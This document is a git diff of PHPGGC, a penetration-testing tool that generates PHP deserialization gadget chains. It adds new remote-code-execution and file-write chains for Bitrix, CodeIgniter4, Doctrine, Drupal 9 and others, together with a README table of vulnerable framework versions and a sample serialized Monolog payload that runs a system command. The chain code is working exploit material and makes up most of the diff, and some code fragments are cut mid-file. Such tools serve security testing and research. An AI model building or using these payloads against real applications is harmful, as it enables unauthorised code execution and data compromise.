diff --git a/Dockerfile b/Dockerfile index 378b68c..b3921b0 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,12 @@ -FROM php:7.4-cli-alpine AS builder +FROM php:8.1-cli-alpine AS builder + +RUN apk add python3 py3-pip curl + +RUN curl -s https://getcomposer.org/installer | php -- --install-dir=/usr/bin/ --filename=composer + +RUN alias composer='php /usr/bin/composer' + +RUN pip install rich COPY . /phpggc diff --git a/README.md b/README.md index c861f3e..b9e740b 100644 --- a/README.md +++ b/README.md @@ -20,101 +20,111 @@ Gadget Chains ------------- -NAME VERSION TYPE VECTOR I -CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct -CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct -CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct -CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct -CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct -Doctrine/FW1 ? File write __toString * -Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * -Dompdf/FD1 1.1.1 <= ? File delete __destruct * -Dompdf/FD2 ? < 1.1.1 File delete __destruct * -Drupal7/FD1 7.0 < ? File delete __destruct * -Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * -Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct -Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * -Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * -Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * -Kohana/FR1 3.* File read __toString * -Laminas/FD1 <= 2.11.2 File delete __destruct -Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct * -Laravel/RCE1 5.4.27 RCE (Function call) __destruct -Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString -Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct -Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * -Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct -Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * -Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * -Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * -Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * -Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct -Magento/FW1 ? <= 1.9.4.0 File write __destruct * -Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct -Magento2/FD1 * File delete __destruct * -Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct * -Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct -Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct -Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct -Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * -Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct -Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct -Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct * -Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * -Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * -Phalcon/RCE1 <= 1.2.2 RCE __wakeup * -PHPCSFixer/FD1 <= 2.17.3 File delete __destruct -PHPCSFixer/FD2 <= 2.17.3 File delete __destruct -PHPExcel/FD1 1.8.2+ File delete __destruct -PHPExcel/FD2 <= 1.8.1 File delete __destruct -PHPExcel/FD3 1.8.2+ File delete __destruct -PHPExcel/FD4 <= 1.8.1 File delete __destruct -PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct * -Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString -Slim/RCE1 3.8.1 RCE (Function call) __toString -Smarty/FD1 ? File delete __destruct -Smarty/SSRF1 ? SSRF __destruct * -SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct -SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString -SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString -SwiftMailer/FW3 5.0.1 File write __toString -SwiftMailer/FW4 4.0.0 <= ? File write __destruct -Symfony/FW1 2.5.2 File write DebugImport * -Symfony/FW2 3.4 File write __destruct -Symfony/RCE1 3.3 RCE (Command) __destruct * -Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * -Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * -Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * -Symfony/RCE5 5.2.* RCE (Function call) __destruct -TCPDF/FD1 <= 6.3.5 File delete __destruct * -ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct * -ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct * -ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * -ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct * -Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct * -WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * -WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * -WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * -WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * -WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * -Yii/RCE1 1.1.20 RCE (Function call) __wakeup * -Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * -Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * -ZendFramework/FD1 ? <= 1.12.20 File delete __destruct -ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * -ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * -ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct -ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * +NAME VERSION TYPE VECTOR I +Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct +CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct +CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct +CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct +CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct +CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct +CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct +Doctrine/FW1 ? File write __toString * +Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * +Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct * +Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct * +Dompdf/FD1 1.1.1 <= ? File delete __destruct * +Dompdf/FD2 ? < 1.1.1 File delete __destruct * +Drupal7/FD1 7.0 < ? File delete __destruct * +Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * +Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct +Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * +Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * +Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * +Kohana/FR1 3.* File read __toString * +Laminas/FD1 <= 2.11.2 File delete __destruct +Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct * +Laravel/RCE1 5.4.27 RCE (Function call) __destruct +Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct +Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * +Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct +Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * +Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * +Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * +Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * +Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct +Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString +Laravel/RCE11 5.4.0 <= 9.1.8+ RCE (Function call) __destruct +Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE (Function call) __destruct * +Magento/FW1 ? <= 1.9.4.0 File write __destruct * +Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct +Magento2/FD1 * File delete __destruct * +Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct * +Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct +Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct +Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct +Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * +Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct +Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct +Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct * +Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * +Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * +Phalcon/RCE1 <= 1.2.2 RCE __wakeup * +PHPCSFixer/FD1 <= 2.17.3 File delete __destruct +PHPCSFixer/FD2 <= 2.17.3 File delete __destruct +PHPExcel/FD1 1.8.2+ File delete __destruct +PHPExcel/FD2 <= 1.8.1 File delete __destruct +PHPExcel/FD3 1.8.2+ File delete __destruct +PHPExcel/FD4 <= 1.8.1 File delete __destruct +PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct * +Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString +Slim/RCE1 3.8.1 RCE (Function call) __toString +Smarty/FD1 ? File delete __destruct +Smarty/SSRF1 ? SSRF __destruct * +Spiral/RCE1 2.7.0 <= 2.8.13 RCE (Function call) __destruct +Spiral/RCE2 -2.8+ RCE (Function call) __destruct * +SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct +SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString +SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString +SwiftMailer/FW3 5.0.1 File write __toString +SwiftMailer/FW4 4.0.0 <= ? File write __destruct +Symfony/FW1 2.5.2 File write DebugImport * +Symfony/FW2 3.4 File write __destruct +Symfony/RCE1 3.3 RCE (Command) __destruct * +Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * +Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * +Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * +Symfony/RCE5 5.2.* RCE (Function call) __destruct +Symfony/RCE6 v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13 RCE (Command) __destruct * +TCPDF/FD1 <= 6.3.5 File delete __destruct * +ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct * +ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct * +ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * +ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct * +Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct * +WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * +WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * +WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * +WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * +WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * +Yii/RCE1 1.1.20 RCE (Function call) __wakeup * +Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * +Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * +ZendFramework/FD1 ? <= 1.12.20 File delete __destruct +ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * +ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * +ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct +ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * +ZendFramework/RCE5 2.0.0rc2 <= 2.5.3 RCE (Function call) __destruct ``` Filter gadget chains: @@ -136,7 +146,6 @@ Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct - ``` Every gadget chain has: @@ -328,6 +337,20 @@ └─────────────────┴─────────┴──────────────┴──────────────┘ ``` +You can specify the versions you want to test by using the following syntaxe. + +``` +$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3 +Testing 2 versions for monolog/monolog against 2 gadget chains. + +┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ +┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃ +┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ +│ 2.3.0 │ OK │ OK │ KO │ +│ 1.25.4 │ OK │ OK │ KO │ +└─────────────────┴─────────┴──────────────┴──────────────┘ +``` + # API Instead of using PHPGGC as a command line tool, you can program PHP scripts: @@ -390,8 +413,28 @@ # Docker -If you don't want to install PHP, you can use `docker build`. - +If you don't want to install PHP, you can use `docker build . -t 'phpggc'`. + +To generate a gadget chain. + +``` +$ docker run phpggc Monolog/rce1 'system' 'id' +O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:2:"id";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}} +``` + +To run `test-gc-compatibility.py` from docker. +``` +$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2 +Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS). +Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains. + +┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓ +┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃ +┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩ +│ 2.2 │ OK │ OK │ OK │ +│ 2.7.2 │ OK │ OK │ KO │ +└──────────────────────────┴─────────┴───────────────┴───────────────┘ +``` # License diff --git a/gadgetchains/Bitrix/RCE/chain.php b/gadgetchains/Bitrix/RCE/chain.php new file mode 100644 index 0000000..8d633dd --- /dev/null +++ b/gadgetchains/Bitrix/RCE/chain.php @@ -0,0 +1,30 @@ +errors = $Dictionary; + } + } + + class Error { + protected $message; + + public function __construct(object $ItemAttributes) + { + $this->message = $ItemAttributes; + } + } +} + +namespace Bitrix\Main\ORM\Data { + class Result extends \Bitrix\Main\Result + { + protected $isSuccess = false; + protected $wereErrorsChecked = false; + + public function __construct(object $Dictionary) + { + parent::__construct($Dictionary); + } + } +} + +namespace Bitrix\Main\Type { + class Dictionary + { + protected $values; + + public function __construct(object $Error) + { + $this->values = [$Error]; + } + } +} + +namespace Bitrix\Main\UI\Viewer { + class ItemAttributes + { + protected $attributes; + + public function __construct(object $ResultIterator) + { + $this->attributes = $ResultIterator; + } + } +} + +namespace Bitrix\Main\DB { + class ResultIterator + { + private $counter = 0; + private $currentData = 0; + private $result; + + public function __construct(object $ArrayResult) + { + $this->result = $ArrayResult; + } + } + + class ArrayResult + { + protected $resource; + protected $converters; + + public function __construct(string $function, string $parameter) + { + $this->converters = [$function, 'WriteFinalMessage']; + $this->resource = [[$parameter], [['rce']]]; + } + } +} diff --git a/gadgetchains/CodeIgniter4/RCE/1/chain.php b/gadgetchains/CodeIgniter4/RCE/1/chain.php index ced036b..b0040e6 100644 --- a/gadgetchains/CodeIgniter4/RCE/1/chain.php +++ b/gadgetchains/CodeIgniter4/RCE/1/chain.php @@ -4,7 +4,7 @@ class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall { - public static $version = '4.0.0-beta.1 <= 4.0.0-rc.4'; + public static $version = '4.0.2 <= 4.0.3'; public static $vector = '__destruct'; public static $author = 'eboda'; diff --git a/gadgetchains/CodeIgniter4/RCE/4/chain.php b/gadgetchains/CodeIgniter4/RCE/4/chain.php new file mode 100644 index 0000000..6245df9 --- /dev/null +++ b/gadgetchains/CodeIgniter4/RCE/4/chain.php @@ -0,0 +1,18 @@ +redis = new \CodeIgniter\Session\Handlers\MemcachedHandler( + new \CodeIgniter\Model( + new \CodeIgniter\Database\BaseBuilder, + new \CodeIgniter\Validation\Validation, + $func + ), + $param + ); + } + } +} + +namespace CodeIgniter\Session\Handlers +{ + class MemcachedHandler + { + protected $memcached; + protected $lockKey; + + public function __construct($memcached, $param) + { + $this->lockKey = $param; + $this->memcached = $memcached; + } + } +} + +namespace CodeIgniter +{ + class Model + { + protected $builder; + protected $primaryKey; + protected $beforeDelete; + protected $validationRules; + protected $validation; + + public function __construct($builder, $validation, $func) + { + $this->builder = $builder; + $this->primaryKey = null; + + $this->beforeDelete = array(); + $this->beforeDelete[] = "validate"; + + $this->validation = $validation; + $this->validationRules = array( + "id" => array($func) + ); + } + } +} + +namespace CodeIgniter\Validation +{ + class Validation + { + protected $ruleSetFiles; + + public function __construct() + { + $this->ruleSetFiles = array("finfo"); + } + } +} + +namespace CodeIgniter\Database +{ + class BaseBuilder + { + } +} diff --git a/gadgetchains/CodeIgniter4/RCE/5/chain.php b/gadgetchains/CodeIgniter4/RCE/5/chain.php new file mode 100644 index 0000000..887e446 --- /dev/null +++ b/gadgetchains/CodeIgniter4/RCE/5/chain.php @@ -0,0 +1,18 @@ +parameters = new \CodeIgniter\Entity\Entity($function, $paramter); + } + } +} + +namespace CodeIgniter\Entity +{ + class Entity + { + protected $datamap; + + function __construct($function, $parameter) + { + $this->datamap = ["persistent" => new \Symfony\Component\HttpFoundation\Request($function, $parameter)]; + } + } +} + +namespace Symfony\Component\HttpFoundation +{ + class Request + { + public $server; + public $cookies; + + function __construct($function, $paramter) + { + $this->cookies = ["key" => "value"]; + $this->server = new \Symfony\Component\DependencyInjection\Argument\ServiceLocator($function, $paramter); + } + } +} + +namespace Symfony\Component\DependencyInjection\Argument +{ + class ServiceLocator + { + private $serviceMap; + private $factory; + + function __construct($function, $paramter) + { + $this->factory = "call_user_func"; + $this->serviceMap = ["REQUEST_METHOD" => [$function, $paramter]]; + } + } +} diff --git a/gadgetchains/CodeIgniter4/RCE/6/chain.php b/gadgetchains/CodeIgniter4/RCE/6/chain.php new file mode 100644 index 0000000..3276f40 --- /dev/null +++ b/gadgetchains/CodeIgniter4/RCE/6/chain.php @@ -0,0 +1,18 @@ +connection = new \Faker\ValidGenerator($function,$paramter); + $this->position = 0; + $this->size = 1; + } + } +} + +namespace Faker{ + class ValidGenerator{ + protected $generator; + protected $maxRetries; + protected $validator; + + function __construct($function,$param) + { + $this->maxRetries = 1; + $this->validator = $function; + $this->generator = new \Faker\DefaultGenerator($param); + } + } + + class DefaultGenerator{ + protected $default; + + function __construct($param) + { + $this->default = $param; + } + } +} diff --git a/gadgetchains/Doctrine/RCE/1/chain.php b/gadgetchains/Doctrine/RCE/1/chain.php new file mode 100644 index 0000000..f54c67c --- /dev/null +++ b/gadgetchains/Doctrine/RCE/1/chain.php @@ -0,0 +1,83 @@ +data = ['']; // Content put in the file + $mockFileSessionStorage->metadataBag = new MetadataBag(); + $obj_write->cache = $mockFileSessionStorage; + $obj_write->deferredItems = [$firstCacheItem]; + + /* File inclusion */ + $obj_include = new CacheAdapter(); + $proxyAdapter = new ProxyAdapter(); + $proxyAdapter->pool = new PhpArrayAdapter(); + $obj_include->cache = $proxyAdapter; + $cacheItem = $secondCacheItem; + $cacheItem->expiry = 0; // mandatory to go to another branch from CacheAdapter __destruct + $obj_include->deferredItems = [$cacheItem]; + $obj = [1000 => $obj_write, 1001 => 1, 2000 => $obj_include, 2001 => 1]; + return $obj; + } +} \ No newline at end of file diff --git a/gadgetchains/Doctrine/RCE/1/gadgets.php b/gadgetchains/Doctrine/RCE/1/gadgets.php new file mode 100644 index 0000000..f01289f --- /dev/null +++ b/gadgetchains/Doctrine/RCE/1/gadgets.php @@ -0,0 +1,51 @@ +loader = 1; + $redisProxy = new RedisProxy($parameter); + $redisProxy->initializer = new SchemaAssetsFilterManager($function); + $obj->deferredItems = [$redisProxy]; + return $obj; + } +} diff --git a/gadgetchains/Doctrine/RCE/2/gadgets.php b/gadgetchains/Doctrine/RCE/2/gadgets.php new file mode 100644 index 0000000..bd543e2 --- /dev/null +++ b/gadgetchains/Doctrine/RCE/2/gadgets.php @@ -0,0 +1,37 @@ +redis = $parameter; + } + + } +} + +namespace Doctrine\Bundle\DoctrineBundle\Dbal +{ + class SchemaAssetsFilterManager + { + public $schemaAssetFilters; + public function __construct ($function) + { + $this->schemaAssetFilters = [$function]; + } + } +} \ No newline at end of file diff --git a/gadgetchains/Drupal9/RCE/1/chain.php b/gadgetchains/Drupal9/RCE/1/chain.php new file mode 100644 index 0000000..b9bfa0b --- /dev/null +++ b/gadgetchains/Drupal9/RCE/1/chain.php @@ -0,0 +1,34 @@ +serialize(["factory"=>$function, "arguments"=>[$parameter]])] + ) + ) + ) + ) + ) + ); + } +} \ No newline at end of file diff --git a/gadgetchains/Drupal9/RCE/1/gadgets.php b/gadgetchains/Drupal9/RCE/1/gadgets.php new file mode 100644 index 0000000..ae2088c --- /dev/null +++ b/gadgetchains/Drupal9/RCE/1/gadgets.php @@ -0,0 +1,333 @@ +filename = $filename; + } + /* + public function __destruct() + { + $this->save($this->filename); + } + + public function save($filename) + { + $json = []; + foreach ($this as $cookie) { + if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) { + $json[] = $cookie->toArray(); + } + } + + $jsonStr = \GuzzleHttp\json_encode($json); + if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) { + throw new \RuntimeException("Unable to save file {$filename}"); + } + } + */ + } +} + +namespace Laminas\Diactoros +{ + class RelativeStream + { + private $decoratedStream; + + public function __construct($decoratedStream) + { + $this->decoratedStream = $decoratedStream; + } + + /* + public function __toString() : string + { + if ($this->isSeekable()) { + $this->seek(0); + } + return $this->getContents(); + } + + public function getContents() : string + { + if ($this->tell() < 0) { + throw new Exception\InvalidStreamPointerPositionException(); + } + return $this->decoratedStream->getContents(); + } + */ + } +} + +namespace GuzzleHttp\Psr7 +{ + class PumpStream + { + private $source; + private $buffer; + + public function __construct($buffer) + { + $this->source = "1"; + $this->buffer = $buffer; + } + /* + public function isSeekable() + { + return false; + } + + public function getContents() + { + $result = ''; + while (!$this->eof()) { + $result .= $this->read(1000000); + } + + return $result; + } + + public function eof() + { + return !$this->source; + } + + public function read($length) + { + $data = $this->buffer->read($length); + $readLen = strlen($data); + $this->tellPos += $readLen; + $remaining = $length - $readLen; + + if ($remaining) { + $this->pump($remaining); + $data .= $this->buffer->read($remaining); + $this->tellPos += strlen($data) - $readLen; + } + + return $data; + } + */ + } +} + +namespace Drupal\Core\Config +{ + class CachedStorage + { + protected $storage; + protected $cache; + + public function __construct($storage, $cache) { + $this->storage = $storage; + $this->cache = $cache; + } + /* + public function read($name) { + $cache_key = $this->getCacheKey($name); + if ($cache = $this->cache->get($cache_key)) { + // The cache contains either the cached configuration data or FALSE + // if the configuration file does not exist. + return $cache->data; + } + // Read from the storage on a cache miss and cache the data. Also cache + // information about missing configuration objects. + $data = $this->storage->read($name); + $this->cache->set($cache_key, $data); + return $data; + } + + protected function getCacheKey($name) { + return $this->getCollectionPrefix() . $name; + } + + protected function getCollectionPrefix() { + $collection = $this->storage->getCollectionName(); + if ($collection == StorageInterface::DEFAULT_COLLECTION) { + return ''; + } + return $collection . ':'; + } + */ + } + + class MemoryStorage + { + protected $collection; + + public function __construct() + { + $this->collection = ""; + } + /* + public function getCollectionName() { + return $this->collection; + } + */ + } +} + +namespace Drupal\Component\DependencyInjection +{ + class Container + { + protected $serviceDefinitions; + + public function __construct($serviceDefinitions) { + $this->serviceDefinitions = $serviceDefinitions; + } + + /* + public function get($id, $invalid_behavior = ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE) { + if ($this->hasParameter('_deprecated_service_list')) { + if ($deprecation = $this->getParameter('_deprecated_service_list')[$id] ?? '') { + @trigger_error($deprecation, E_USER_DEPRECATED); + } + } + if (isset($this->aliases[$id])) { + $id = $this->aliases[$id]; + } + + // Re-use shared service instance if it exists. + if (isset($this->services[$id]) || ($invalid_behavior === ContainerInterface::NULL_ON_INVALID_REFERENCE && array_key_exists($id, $this->services))) { + return $this->services[$id]; + } + + if (isset($this->loading[$id])) { + throw new ServiceCircularReferenceException($id, array_keys($this->loading)); + } + + $definition = $this->serviceDefinitions[$id] ?? NULL; + + if (!$definition && $invalid_behavior === ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE) { + if (!$id) { + throw new ServiceNotFoundException(''); + } + + throw new ServiceNotFoundException($id, NULL, NULL, $this->getServiceAlternatives($id)); + } + + // In case something else than ContainerInterface::NULL_ON_INVALID_REFERENCE + // is used, the actual wanted behavior is to re-try getting the service at a + // later point. + if (!$definition) { + return; + } + + // Definition is a keyed array, so [0] is only defined when it is a + // serialized string. + if (isset($definition[0])) { + $definition = unserialize($definition); + } + + // Now create the service. + $this->loading[$id] = TRUE; + + try { + $service = $this->createService($definition, $id); + } + catch (\Exception $e) { + unset($this->loading[$id]); + unset($this->services[$id]); + + if (ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE !== $invalid_behavior) { + return; + } + + throw $e; + } + + unset($this->loading[$id]); + + return $service; + } + + public function hasParameter($name) { + return isset($this->parameters[$name]) || array_key_exists($name, $this->parameters); + } + + protected function createService(array $definition, $id) { + if (isset($definition['synthetic']) && $definition['synthetic'] === TRUE) { + throw new RuntimeException(sprintf('You have requested a synthetic service ("%s"). The service container does not know how to construct this service. The service will need to be set before it is first used.', $id)); + } + + $arguments = []; + if (isset($definition['arguments'])) { + $arguments = $definition['arguments']; + + if ($arguments instanceof \stdClass) { + $arguments = $this->resolveServicesAndParameters($arguments); + } + } + + if (isset($definition['file'])) { + $file = $this->frozen ? $definition['file'] : 